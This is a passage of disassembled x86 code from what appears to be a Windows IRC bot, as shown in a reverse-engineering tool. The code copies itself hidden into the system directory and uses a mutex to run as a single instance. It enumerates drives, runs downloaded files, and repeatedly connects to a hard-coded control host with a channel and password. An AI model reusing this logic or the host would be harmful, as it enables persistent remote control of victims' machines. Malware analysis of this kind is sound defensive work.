jbe short loc_40BE3C
mov eax, [ebp+arg_0]
loc_40BE3C: ; CODE XREF: sub_40BCEF+148j
push eax
lea eax, [ebp+var_510]
push eax
mov eax, [ebp+var_1C]
add eax, edi
push eax
call sub_4155D0
add esp, 0Ch
loc_40BE52: ; CODE XREF: sub_40BCEF+13Fj
add edi, [ebp+arg_0]
cmp [ebp+var_3C], esi
jz short loc_40BE5F
cmp edi, [ebp+var_3C]
ja short loc_40BEA9
loc_40BE5F: ; CODE XREF: sub_40BCEF+169j
cmp [ebp+var_44], 1
mov eax, edi
jz short loc_40BE79
shr eax, 0Ah
push eax
lea eax, [ebp+var_248]
push eax
push offset unk_42C014
jmp short loc_40BE89
; ---------------------------------------------------------------------------
loc_40BE79: ; CODE XREF: sub_40BCEF+176j
shr eax, 0Ah
push eax
lea eax, [ebp+var_248]
push eax
push offset unk_42BFD0
loc_40BE89: ; CODE XREF: sub_40BCEF+188j
mov eax, [ebp+var_48]
imul eax, 234h
add eax, offset dword_43F328
push eax
call sub_4154E7
add esp, 10h
cmp [ebp+arg_0], esi
ja loc_40BDD0
loc_40BEA9: ; CODE XREF: sub_40BCEF+16Ej
cmp [ebp+var_3C], esi
mov [ebp+var_14], 1
jz short loc_40BEFE
cmp edi, [ebp+var_3C]
jz short loc_40BEFE
push [ebp+var_3C]
lea eax, [ebp+var_510]
mov [ebp+var_14], esi
push edi
push offset unk_42BF88
push eax
call sub_4154E7
push esi
lea eax, [ebp+var_510]
push [ebp+var_2C]
push eax
lea eax, [ebp+var_2C8]
push eax
push [ebp+var_2CC]
call sub_412D4C
lea eax, [ebp+var_510]
push eax
call sub_40B16D
add esp, 28h
loc_40BEFE: ; CODE XREF: sub_40BCEF+1C4j
; sub_40BCEF+1C9j
call dword_42104C ; GetTickCount
sub eax, dword ptr [ebp+var_8+4]
xor edx, edx
mov ecx, 3E8h
push [ebp+var_20]
div ecx
xor edx, edx
mov ecx, eax
mov eax, edi
inc ecx
div ecx
mov ebx, eax
call dword_42106C ; CloseHandle
push [ebp+var_1C]
call sub_415E3D
cmp [ebp+var_38], esi
pop ecx
jz short loc_40BF88
lea eax, [ebp+var_148]
push eax
call sub_40B459
cmp eax, [ebp+var_38]
pop ecx
jz short loc_40BF88
push [ebp+var_38]
mov [ebp+var_14], esi
push eax
lea eax, [ebp+var_510]
push offset unk_42BF4C
push eax
call sub_4154E7
push esi
lea eax, [ebp+var_510]
push [ebp+var_2C]
push eax
lea eax, [ebp+var_2C8]
push eax
push [ebp+var_2CC]
call sub_412D4C
lea eax, [ebp+var_510]
push eax
call sub_40B16D
add esp, 28h
loc_40BF88: ; CODE XREF: sub_40BCEF+241j
; sub_40BCEF+253j
cmp [ebp+var_14], esi
jz loc_40C1C8
cmp [ebp+var_44], 1
jz loc_40C083
mov dword ptr [ebp+var_8], ebx
mov dword ptr [ebp+var_8+4], esi
fild [ebp+var_8]
push ecx
push ecx
mov dword ptr [ebp+var_8], edi
mov dword ptr [ebp+var_8+4], esi
fmul dbl_421660
lea eax, [ebp+var_148]
fstp [esp+584h+var_584]
fild [ebp+var_8]
push eax
push ecx
push ecx
lea eax, [ebp+var_510]
fmul dbl_421660
fstp [esp+590h+var_590]
push offset unk_42BF00
push eax
call sub_4154E7
add esp, 1Ch
cmp [ebp+var_30], esi
jnz short loc_40C003
push esi
lea eax, [ebp+var_510]
push [ebp+var_2C]
push eax
lea eax, [ebp+var_2C8]
push eax
push [ebp+var_2CC]
call sub_412D4C
add esp, 14h
loc_40C003: ; CODE XREF: sub_40BCEF+2F2j
lea eax, [ebp+var_510]
push eax
call sub_40B16D
cmp [ebp+var_40], 1
pop ecx
jnz loc_40C1C8
push 5
push esi
lea eax, [ebp+var_148]
push esi
push eax
push offset aOpen ; "open"
push esi
call dword_43A30C
cmp [ebp+var_30], esi
jnz loc_40C1C8
lea eax, [ebp+var_148]
push eax
lea eax, [ebp+var_510]
push offset dword_42BEC8
push eax
call sub_4154E7
push esi
lea eax, [ebp+var_510]
push [ebp+var_2C]
push eax
lea eax, [ebp+var_2C8]
push eax
push [ebp+var_2CC]
call sub_412D4C
lea eax, [ebp+var_510]
push eax
call sub_40B16D
add esp, 24h
jmp loc_40C1C8
; ---------------------------------------------------------------------------
loc_40C083: ; CODE XREF: sub_40BCEF+2A6j
mov dword ptr [ebp+var_8], ebx
mov dword ptr [ebp+var_8+4], esi
fild [ebp+var_8]
push ecx
push ecx
mov dword ptr [ebp+var_8], edi
mov dword ptr [ebp+var_8+4], esi
fmul dbl_421660
lea eax, [ebp+var_148]
fstp [esp+584h+var_584]
fild [ebp+var_8]
push eax
push ecx
push ecx
lea eax, [ebp+var_510]
fmul dbl_421660
fstp [esp+590h+var_590]
push offset unk_42BE74
push eax
call sub_4154E7
add esp, 1Ch
cmp [ebp+var_30], esi
jnz short loc_40C0EB
push esi
lea eax, [ebp+var_510]
push [ebp+var_2C]
push eax
lea eax, [ebp+var_2C8]
push eax
push [ebp+var_2CC]
call sub_412D4C
add esp, 14h
loc_40C0EB: ; CODE XREF: sub_40BCEF+3DAj
lea eax, [ebp+var_510]
push eax
call sub_40B16D
push 10h
lea eax, [ebp+var_10]
push esi
push eax
call sub_415570
push 44h
lea eax, [ebp+var_310]
pop edi
push edi
push esi
push eax
call sub_415570
add esp, 1Ch
mov [ebp+var_310], edi
lea eax, [ebp+var_10]
mov [ebp+var_304], offset byte_438FBC
push 1
mov [ebp+var_2E0], si
pop edi
push eax
lea eax, [ebp+var_310]
push eax
push esi
push esi
push 28h
push esi
push esi
lea eax, [ebp+var_148]
push esi
push eax
push esi
mov [ebp+var_2E4], edi
call dword_4210EC ; CreateProcessA
cmp eax, edi
jnz short loc_40C16D
call dword_43A2F8
call sub_409E15
push esi
call dword_421114 ; ExitProcess
loc_40C16D: ; CODE XREF: sub_40BCEF+46Aj
lea eax, [ebp+var_148]
push eax
push offset unk_42BE28
jmp short loc_40C187
; ---------------------------------------------------------------------------
loc_40C17B: ; CODE XREF: sub_40BCEF+45j
lea eax, [ebp+var_248]
push eax
push offset unk_42BDE8
loc_40C187: ; CODE XREF: sub_40BCEF+48Aj
lea eax, [ebp+var_510]
push eax
call sub_4154E7
add esp, 0Ch
cmp [ebp+var_30], esi
jnz short loc_40C1BB
push esi
lea eax, [ebp+var_510]
push [ebp+var_2C]
push eax
lea eax, [ebp+var_2C8]
push eax
push [ebp+var_2CC]
call sub_412D4C
add esp, 14h
loc_40C1BB: ; CODE XREF: sub_40BCEF+4AAj
lea eax, [ebp+var_510]
push eax
call sub_40B16D
pop ecx
loc_40C1C8: ; CODE XREF: sub_40BCEF+29Cj
; sub_40BCEF+325j ...
push [ebp+var_18]
call dword_43A3CC
push [ebp+var_48]
call sub_4152AF
pop ecx
push esi
call dword_421048 ; ExitThread
sub_40BCEF endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_40C1E1 proc near ; CODE XREF: sub_40BCEF+11Ep
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
xor ecx, ecx
cmp [esp+arg_4], ecx
jle short locret_40C1FD
loc_40C1ED: ; CODE XREF: sub_40C1E1+1Aj
mov dl, byte_42C19C
xor [ecx+eax], dl
inc ecx
cmp ecx, [esp+arg_4]
jl short loc_40C1ED
locret_40C1FD: ; CODE XREF: sub_40C1E1+Aj
retn
sub_40C1E1 endp
; =============== S U B R O U T I N E =======================================
sub_40C1FE proc near ; CODE XREF: sub_40CE55+293Cp
; sub_40CE55+2A93p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push [esp+arg_4]
push [esp+4+arg_0]
call sub_417709
pop ecx
pop ecx
xor ecx, ecx
cmp eax, 0FFFFFFFFh
setnz cl
mov eax, ecx
retn
sub_40C1FE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C218 proc near ; CODE XREF: sub_4063B0+45Dp
; sub_4063B0+5F9p ...
var_38 = byte ptr -38h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 38h
and [ebp+var_4], 0
push ebx
push esi
push edi
push 32h
mov edi, offset dword_43E768
push 0
push edi
call sub_415570
mov ebx, [ebp+arg_0]
add esp, 0Ch
lea esi, [ebp+var_38]
loc_40C23D: ; CODE XREF: sub_40C218+5Bj
; sub_40C218+61j
push 0
push 0Ah
push [ebp+arg_4]
push ebx
call sub_417260
push 0
push 0Ah
push [ebp+arg_4]
add al, 30h
mov [esi], al
inc esi
push ebx
call sub_4172E0
mov ebx, eax
or eax, edx
mov [ebp+arg_4], edx
jz short loc_40C27B
inc [ebp+var_4]
push 3
mov eax, [ebp+var_4]
pop ecx
cdq
idiv ecx
test edx, edx
jnz short loc_40C23D
mov byte ptr [esi], 2Ch
inc esi
jmp short loc_40C23D
; ---------------------------------------------------------------------------
loc_40C27B: ; CODE XREF: sub_40C218+4Bj
dec esi
mov eax, edi
loc_40C27E: ; CODE XREF: sub_40C218+73j
lea ecx, [ebp+var_38]
cmp esi, ecx
jb short loc_40C28D
mov cl, [esi]
mov [eax], cl
inc eax
dec esi
jmp short loc_40C27E
; ---------------------------------------------------------------------------
loc_40C28D: ; CODE XREF: sub_40C218+6Bj
and byte ptr [eax], 0
mov eax, edi
pop edi
pop esi
pop ebx
leave
retn
sub_40C218 endp
; =============== S U B R O U T I N E =======================================
sub_40C297 proc near ; CODE XREF: sub_40C443+51p
; sub_40C443+87p
arg_0 = dword ptr 4
push [esp+arg_0]
call dword_43A3F8
sub eax, 0
jz short loc_40C2DA
dec eax
jz short loc_40C2D4
dec eax
dec eax
jz short loc_40C2CE
dec eax
jz short loc_40C2C8
dec eax
jz short loc_40C2C2
dec eax
jz short loc_40C2BC
mov eax, offset word_42B7C4
retn
; ---------------------------------------------------------------------------
loc_40C2BC: ; CODE XREF: sub_40C297+1Dj
mov eax, offset aRam ; "RAM"
retn
; ---------------------------------------------------------------------------
loc_40C2C2: ; CODE XREF: sub_40C297+1Aj
mov eax, offset aCdrom ; "Cdrom"
retn
; ---------------------------------------------------------------------------
loc_40C2C8: ; CODE XREF: sub_40C297+17j
mov eax, offset aNetwork ; "Network"
retn
; ---------------------------------------------------------------------------
loc_40C2CE: ; CODE XREF: sub_40C297+14j
mov eax, offset aDisk ; "Disk"
retn
; ---------------------------------------------------------------------------
loc_40C2D4: ; CODE XREF: sub_40C297+10j
mov eax, offset aInvalid ; "Invalid"
retn
; ---------------------------------------------------------------------------
loc_40C2DA: ; CODE XREF: sub_40C297+Dj
mov eax, offset aUnknown ; "Unknown"
retn
sub_40C297 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C2E0 proc near ; CODE XREF: sub_40C328+12p
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 18h
or eax, 0FFFFFFFFh
mov [ebp+var_18], eax
mov [ebp+var_14], eax
mov [ebp+var_10], eax
mov [ebp+var_C], eax
mov [ebp+var_8], eax
mov [ebp+var_4], eax
mov eax, dword_43A294
test eax, eax
jz short loc_40C315
lea ecx, [ebp+var_10]
push ecx
lea ecx, [ebp+var_8]
push ecx
lea ecx, [ebp+var_18]
push ecx
push [ebp+arg_4]
call eax
loc_40C315: ; CODE XREF: sub_40C2E0+22j
mov eax, [ebp+arg_0]
push esi
push edi
push 6
pop ecx
lea esi, [ebp+var_18]
mov edi, eax
rep movsd
pop edi
pop esi
leave
retn
sub_40C2E0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C328 proc near ; CODE XREF: sub_40AAD1+1F3p
; sub_40C443+17p
var_198 = byte ptr -198h
var_118 = byte ptr -118h
var_98 = byte ptr -98h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 198h
push esi
push edi
push [ebp+arg_4]
lea eax, [ebp+var_18]
push eax
call sub_40C2E0
pop ecx
mov esi, eax
pop ecx
lea edi, [ebp+var_18]
push 6
pop ecx
rep movsd
mov eax, [ebp+var_18]
and eax, [ebp+var_14]
cmp eax, 0FFFFFFFFh
jz loc_40C400
mov eax, [ebp+var_10]
and eax, [ebp+var_C]
cmp eax, 0FFFFFFFFh
jz loc_40C400
mov eax, [ebp+var_8]
and eax, [ebp+var_4]
cmp eax, 0FFFFFFFFh
jz loc_40C400
push ebx
mov ebx, 400h
push 0
push ebx
push [ebp+var_14]
push [ebp+var_18]
call sub_417750
push edx
push eax
call sub_40C218
mov edi, offset aSkb ; "%sKB"
push eax
mov esi, 80h
push edi
lea eax, [ebp+var_198]
push esi
push eax
call sub_415A6A
add esp, 18h
push 0
push ebx
push [ebp+var_C]
push [ebp+var_10]
call sub_417750
push edx
push eax
call sub_40C218
push eax
push edi
lea eax, [ebp+var_118]
push esi
push eax
call sub_415A6A
add esp, 18h
push 0
push ebx
push [ebp+var_4]
push [ebp+var_8]
call sub_417750
push edx
push eax
call sub_40C218
push eax
push edi
lea eax, [ebp+var_98]
push esi
push eax
call sub_415A6A
add esp, 18h
pop ebx
jmp short loc_40C42F
; ---------------------------------------------------------------------------
loc_40C400: ; CODE XREF: sub_40C328+2Cj
; sub_40C328+3Bj ...
mov esi, offset aFailed ; "failed"
lea eax, [ebp+var_198]
push esi
push eax
call sub_4154E7
lea eax, [ebp+var_118]
push esi
push eax
call sub_4154E7
lea eax, [ebp+var_98]
push esi
push eax
call sub_4154E7
add esp, 18h
loc_40C42F: ; CODE XREF: sub_40C328+D6j
mov eax, [ebp+arg_0]
push 60h
pop ecx
lea esi, [ebp+var_198]
mov edi, eax
rep movsd
pop edi
pop esi
leave
retn
sub_40C328 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C443 proc near ; CODE XREF: sub_40C515+17p
; sub_40C515+60p
var_500 = byte ptr -500h
var_300 = byte ptr -300h
var_180 = byte ptr -180h
var_100 = byte ptr -100h
var_80 = byte ptr -80h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 500h
push ebx
mov ebx, [ebp+arg_C]
push esi
push edi
lea eax, [ebp+var_300]
push ebx
push eax
call sub_40C328
push 60h
mov esi, eax
pop ecx
lea edi, [ebp+var_300]
rep movsd
push 60h
lea esi, [ebp+var_300]
pop ecx
lea edi, [ebp+var_180]
lea eax, [ebp+var_80]
push offset aFailed ; "failed"
rep movsd
push eax
call sub_415910
add esp, 10h
test eax, eax
jnz short loc_40C4B6
push ebx
push ebx
call sub_40C297
pop ecx
push eax
push offset dword_42C128
lea eax, [ebp+var_500]
push 200h
push eax
call sub_415A6A
add esp, 14h
jmp short loc_40C4EA
; ---------------------------------------------------------------------------
loc_40C4B6: ; CODE XREF: sub_40C443+4Dj
lea eax, [ebp+var_180]
push eax
lea eax, [ebp+var_100]
push eax
lea eax, [ebp+var_80]
push eax
push ebx
push ebx
call sub_40C297
pop ecx
push eax
push offset dword_42C0D8
lea eax, [ebp+var_500]
push 200h
push eax
call sub_415A6A
add esp, 20h
loc_40C4EA: ; CODE XREF: sub_40C443+71j
push 1
lea eax, [ebp+var_500]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_412D4C
lea eax, [ebp+var_500]
push eax
call sub_40B16D
add esp, 18h
pop edi
pop esi
pop ebx
leave
retn
sub_40C443 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C515 proc near ; CODE XREF: sub_40CE55+5216p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ebx
xor ebx, ebx
cmp [ebp+arg_C], ebx
jz short loc_40C536
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40C443
add esp, 10h
jmp short loc_40C597
; ---------------------------------------------------------------------------
loc_40C536: ; CODE XREF: sub_40C515+9j
push esi
push edi
push ebx
push ebx
call dword_43A308
lea esi, [eax+2]
push esi
call sub_415DC9
pop ecx
mov edi, eax
push edi
push esi
call dword_43A308
cmp [edi], bl
mov esi, edi
jz short loc_40C58E
loc_40C55A: ; CODE XREF: sub_40C515+77j
push offset aA_0 ; "A:\\"
push esi
call sub_415910
pop ecx
test eax, eax
pop ecx
jz short loc_40C57D
push esi
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40C443
add esp, 10h
loc_40C57D: ; CODE XREF: sub_40C515+54j
push esi
call sub_415CF0
cmp [esi+eax+1], bl
lea esi, [esi+eax+1]
pop ecx
jnz short loc_40C55A
loc_40C58E: ; CODE XREF: sub_40C515+43j
push edi
call sub_415E3D
pop ecx
pop edi
pop esi
loc_40C597: ; CODE XREF: sub_40C515+1Fj
pop ebx
pop ebp
retn
sub_40C515 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C59A proc near ; DATA XREF: sub_40C682+11o
var_2B8 = dword ptr -2B8h
var_25C = byte ptr -25Ch
var_158 = byte ptr -158h
var_54 = dword ptr -54h
var_48 = dword ptr -48h
var_28 = dword ptr -28h
var_24 = word ptr -24h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 25Ch
push ebx
push esi
push edi
push dword_43F534
call dword_43A430
call sub_41515C
call dword_43A2F8
call dword_43A2F8
mov ebx, dword_421060
push 64h
call ebx ; Sleep
xor edi, edi
push 10h
lea eax, [ebp+var_10]
push edi
push eax
call sub_415570
push 44h
lea eax, [ebp+var_54]
pop esi
push esi
push edi
push eax
call sub_415570
add esp, 18h
mov [ebp+var_54], esi
mov esi, 104h
lea eax, [ebp+var_25C]
push esi
push eax
mov [ebp+var_48], offset byte_438FBC
mov [ebp+var_28], 1
mov [ebp+var_24], di
call dword_421058 ; GetSystemDirectoryA
lea eax, [ebp+var_158]
push esi
push eax
push edi
call dword_42107C ; GetModuleFileNameA
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_54]
push eax
lea eax, [ebp+var_25C]
push eax
push edi
push 28h
push 1
push edi
lea eax, [ebp+var_158]
push edi
push eax
push edi
call dword_4210EC ; CreateProcessA
test eax, eax
jz short loc_40C65F
push 64h
call ebx ; Sleep
push [ebp+var_10]
mov esi, dword_42106C
call esi ; CloseHandle
push [ebp+var_C]
call esi ; CloseHandle
loc_40C65F: ; CODE XREF: sub_40C59A+AFj
mov eax, [ebp+arg_8]
mov dword ptr [eax+0B0h], offset dword_43E7A0
mov eax, [esp+2B8h+var_2B8]
mov large fs:0, eax
add esp, 8
push edi
call dword_421114 ; ExitProcess
pop edi
pop esi
pop ebx
sub_40C59A endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C682 proc near ; CODE XREF: sub_417AF8+C9p
var_988 = byte ptr -988h
var_884 = byte ptr -884h
var_883 = byte ptr -883h
var_6F4 = byte ptr -6F4h
var_5F4 = byte ptr -5F4h
var_4F0 = byte ptr -4F0h
var_3F0 = byte ptr -3F0h
var_2EC = byte ptr -2ECh
var_1E8 = byte ptr -1E8h
var_E4 = byte ptr -0E4h
var_64 = dword ptr -64h
var_58 = dword ptr -58h
var_38 = dword ptr -38h
var_34 = word ptr -34h
var_20 = byte ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 988h
push ebx
xor ebx, ebx
push esi
push edi
mov [ebp+var_C], ebx
mov [ebp+var_8], offset sub_40C59A
push [ebp+var_8]
push large dword ptr fs:0
mov large fs:0, esp
cmp dword_42C190, ebx
jz short loc_40C6B8
call sub_409F9D
loc_40C6B8: ; CODE XREF: sub_40C682+2Fj
mov esi, dword_42104C
call esi ; GetTickCount
xor edx, edx
mov ecx, 3E8h
div ecx
mov dword_468818, eax
call esi ; GetTickCount
push eax
call sub_415539
pop ecx
call sub_4089F2
push 2
call dword_43A444
push 7530h
push offset aIdspp ; "idspp"
push ebx
push ebx
call dword_42112C ; CreateMutexA
push eax
call dword_421128 ; WaitForSingleObject
cmp eax, 102h
jnz short loc_40C70C
push 1
call dword_421114 ; ExitProcess
loc_40C70C: ; CODE XREF: sub_40C682+80j
lea eax, [ebp+var_884]
push eax
push 202h
call dword_43A310
cmp eax, ebx
mov [ebp+var_8], eax
jnz loc_40CB6C
cmp [ebp+var_884], 2
jnz loc_40CB66
xor eax, eax
mov al, [ebp+var_883]
cmp al, 2
jnz loc_40CB66
mov esi, 104h
lea eax, [ebp+var_3F0]
push esi
push eax
call dword_421058 ; GetSystemDirectoryA
lea eax, [ebp+var_2EC]
push esi
push eax
push ebx
call dword_4210C8 ; GetModuleHandleA
push eax
call dword_42107C ; GetModuleFileNameA
lea eax, [ebp+var_4F0]
push eax
lea eax, [ebp+var_6F4]
push eax
push ebx
lea eax, [ebp+var_2EC]
push ebx
push eax
call sub_417348
lea eax, [ebp+var_4F0]
push eax
lea eax, [ebp+var_6F4]
push eax
push offset aSS_2 ; "%s%s"
lea eax, [ebp+var_5F4]
push esi
push eax
call sub_415A6A
lea eax, [ebp+var_3F0]
push eax
lea eax, [ebp+var_2EC]
push eax
call sub_415AC0
add esp, 30h
test eax, eax
jnz loc_40C96F
cmp dword_468988, ebx
mov esi, offset byte_42C1FC
jz short loc_40C807
push esi
xor edi, edi
call sub_415CF0
sub eax, 4
pop ecx
jz short loc_40C807
loc_40C7E4: ; CODE XREF: sub_40C682+183j
call sub_415543
push 1Ah
cdq
pop ecx
idiv ecx
push esi
add dl, 61h
mov byte_42C1FC[edi], dl
inc edi
call sub_415CF0
sub eax, 4
pop ecx
cmp edi, eax
jb short loc_40C7E4
loc_40C807: ; CODE XREF: sub_40C682+152j
; sub_40C682+160j
lea eax, [ebp+var_3F0]
push esi
push eax
lea eax, [ebp+var_1E8]
push offset aSS_3 ; "%s\\%s"
push eax
call sub_4154E7
add esp, 10h
lea eax, [ebp+var_1E8]
push eax
call dword_421094 ; GetFileAttributesA
cmp eax, 0FFFFFFFFh
jz short loc_40C847
lea eax, [ebp+var_1E8]
push 80h
push eax
call dword_4210F4 ; SetFileAttributesA
loc_40C847: ; CODE XREF: sub_40C682+1B1j
mov esi, dword_421124
lea eax, [ebp+var_1E8]
push ebx
push eax
lea eax, [ebp+var_2EC]
xor edi, edi
push eax
loc_40C85E: ; CODE XREF: sub_40C682+213j
call esi ; CopyFileA
test eax, eax
jnz short loc_40C897
call dword_421088 ; RtlGetLastWin32Error
cmp edi, ebx
jnz short loc_40C897
cmp eax, 20h
jz short loc_40C878
cmp eax, 5
jnz short loc_40C897
loc_40C878: ; CODE XREF: sub_40C682+1EFj
push 1
pop edi
push 3A98h
call dword_421060 ; Sleep
lea eax, [ebp+var_1E8]
push ebx
push eax
lea eax, [ebp+var_2EC]
push eax
jmp short loc_40C85E
; ---------------------------------------------------------------------------
loc_40C897: ; CODE XREF: sub_40C682+1E0j
; sub_40C682+1EAj ...
lea eax, [ebp+var_1E8]
push eax
call sub_409D4F
pop ecx
lea eax, [ebp+var_1E8]
push 7
push eax
call dword_4210F4 ; SetFileAttributesA
push 10h
lea eax, [ebp+var_1C]
push ebx
push eax
call sub_415570
push 44h
lea eax, [ebp+var_64]
pop esi
push esi
push ebx
push eax
call sub_415570
add esp, 18h
mov [ebp+var_64], esi
mov [ebp+var_58], offset byte_438FBC
mov [ebp+var_34], bx
push 1
pop esi
mov [ebp+var_38], esi
call dword_421120 ; GetCurrentProcessId
push eax
push esi
push 100000h
call dword_42111C ; OpenProcess
lea ecx, [ebp+var_2EC]
push ecx
push eax
lea eax, [ebp+var_1E8]
push eax
lea eax, [ebp+var_988]
push offset dword_433150
push eax
call sub_4154E7
add esp, 14h
lea eax, [ebp+var_1C]
push eax
lea eax, [ebp+var_64]
push eax
lea eax, [ebp+var_3F0]
push eax
push ebx
push 28h
push esi
push ebx
lea eax, [ebp+var_988]
push ebx
push eax
lea eax, [ebp+var_1E8]
push eax
call dword_4210EC ; CreateProcessA
test eax, eax
jz short loc_40C96F
push 0C8h
call dword_421060 ; Sleep
push [ebp+var_1C]
mov esi, dword_42106C
call esi ; CloseHandle
push [ebp+var_18]
call esi ; CloseHandle
call dword_43A2F8
push ebx
call dword_421114 ; ExitProcess
loc_40C96F: ; CODE XREF: sub_40C682+141j
; sub_40C682+2C3j
cmp dword_4694B0, 2
jle short loc_40C9BB
mov eax, dword_4694B4
push dword ptr [eax+4]
call sub_415A5F
pop ecx
mov esi, eax
push 0FFFFFFFFh
push esi
call dword_421128 ; WaitForSingleObject
push esi
call dword_42106C ; CloseHandle
mov eax, dword_4694B4
cmp [eax+8], ebx
jz short loc_40C9BB
push 7D0h
call dword_421060 ; Sleep
mov eax, dword_4694B4
push dword ptr [eax+8]
call dword_421118 ; DeleteFileA
loc_40C9BB: ; CODE XREF: sub_40C682+2F4j
; sub_40C682+31Ej
cmp dword_42C198, ebx
jz short loc_40C9D8
cmp dword_43A468, ebx
jnz short loc_40C9D8
lea eax, [ebp+var_5F4]
push eax
call sub_40B3AE
pop ecx
loc_40C9D8: ; CODE XREF: sub_40C682+33Fj
; sub_40C682+347j
lea eax, [ebp+var_E4]
push offset dword_433124
push eax
call sub_4154E7
push ebx
lea eax, [ebp+var_E4]
push ebx
push eax
call sub_414F93
lea eax, [ebp+var_E4]
push eax
call sub_40B16D
push 0B80h
push ebx
push offset dword_43E7A8
call sub_415570
call sub_415543
push 7Fh
push offset aHome_najd_us ; "home.najd.us"
push offset dword_468824
mov dword_46899C, ebx
call sub_416D40
mov eax, dword_42C17C
push 3Fh
mov edi, offset dword_4688A4
push offset aDd_0 ; "#dd"
push edi
mov dword_468974, eax
call sub_416D40
push 3Fh
mov esi, offset dword_4688E4
push offset aDpass ; "dpass"
push esi
call sub_416D40
add esp, 48h
mov dword_468978, ebx
loc_40CA66: ; CODE XREF: sub_40C682+48Aj
; sub_40C682+495j ...
mov [ebp+var_4], ebx
loc_40CA69: ; CODE XREF: sub_40C682+43Ej
cmp dword_43A480, ebx
jnz short loc_40CA87
lea eax, [ebp+var_20]
push ebx
push eax
call dword_43A2DC
test eax, eax
jnz short loc_40CA87
push 7530h
jmp short loc_40CAB3
; ---------------------------------------------------------------------------
loc_40CA87: ; CODE XREF: sub_40C682+3EDj
; sub_40C682+3FCj
push offset dword_468820
mov dword_468998, ebx
call sub_40CB75
cmp eax, 2
mov [ebp+var_8], eax
jz loc_40CB61
cmp dword_468998, ebx
jz short loc_40CAAE
dec [ebp+var_4]
loc_40CAAE: ; CODE XREF: sub_40C682+427j
push 0BB8h
loc_40CAB3: ; CODE XREF: sub_40C682+403j
call dword_421060 ; Sleep
inc [ebp+var_4]
cmp [ebp+var_4], 6
jl short loc_40CA69
cmp [ebp+var_8], 2
jz loc_40CB61
cmp [ebp+var_C], ebx
jz short loc_40CB11
push 7Fh
push offset aHome_najd_us ; "home.najd.us"
push offset dword_468824
call sub_416D40
mov eax, dword_42C17C
push 3Fh
push offset aDd_0 ; "#dd"
push edi
mov dword_468974, eax
call sub_416D40
push 3Fh
push offset aDpass ; "dpass"
push esi
call sub_416D40
add esp, 24h
mov [ebp+var_C], ebx
jmp loc_40CA66
; ---------------------------------------------------------------------------
loc_40CB11: ; CODE XREF: sub_40C682+44Dj
cmp byte_42C1DC, bl
jz loc_40CA66
push 7Fh
push offset byte_42C1DC
push offset dword_468824
call sub_416D40
mov eax, dword_42C180
push 3Fh
push offset aDd_1 ; "#dd"
push edi
mov dword_468974, eax
call sub_416D40
push 3Fh
push offset aDpass_0 ; "dpass"
push esi
call sub_416D40
add esp, 24h
mov [ebp+var_C], 1
jmp loc_40CA66
; ---------------------------------------------------------------------------
loc_40CB61: ; CODE XREF: sub_40C682+41Bj
; sub_40C682+444j
call sub_41515C
loc_40CB66: ; CODE XREF: sub_40C682+AEj
; sub_40C682+BEj
call dword_43A2F8
loc_40CB6C: ; CODE XREF: sub_40C682+A1j
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn 10h
sub_40C682 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40CB75 proc near ; CODE XREF: sub_40C682+410p
; DATA XREF: sub_40CE55+39D7o
var_190 = dword ptr -190h
var_18C = byte ptr -18Ch
var_10C = byte ptr -10Ch
var_CC = byte ptr -0CCh
var_8C = byte ptr -8Ch
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_2C = byte ptr -2Ch
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 190h
mov eax, [ebp+arg_0]
push esi
push edi
push 59h
pop ecx
mov esi, eax
lea edi, [ebp+var_190]
rep movsd
mov dword ptr [eax+160h], 1
loc_40CB9A: ; CODE XREF: sub_40CB75+E6j
; sub_40CB75+136j ...
push 10h
lea eax, [ebp+var_10]
push 0
push eax
call sub_415570
add esp, 0Ch
mov [ebp+var_10], 2
push [ebp+var_3C]
call dword_43A398
mov [ebp+var_E], ax
lea eax, [ebp+var_18C]
push eax
call sub_40A05B
test eax, eax
pop ecx
mov [ebp+var_C], eax
jz loc_40CCC7
push 1Ch
lea eax, [ebp+var_2C]
push 0
push eax
